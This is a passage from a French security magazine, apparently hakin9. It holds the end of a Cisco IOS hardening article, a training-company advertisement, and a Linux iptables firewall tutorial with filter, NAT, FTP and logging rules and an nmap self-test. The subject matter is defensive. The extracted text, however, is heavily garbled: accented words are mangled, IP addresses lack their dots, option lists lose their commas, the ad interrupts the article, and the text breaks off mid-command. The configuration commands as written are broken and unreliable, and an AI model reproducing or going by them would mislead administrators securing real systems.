Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

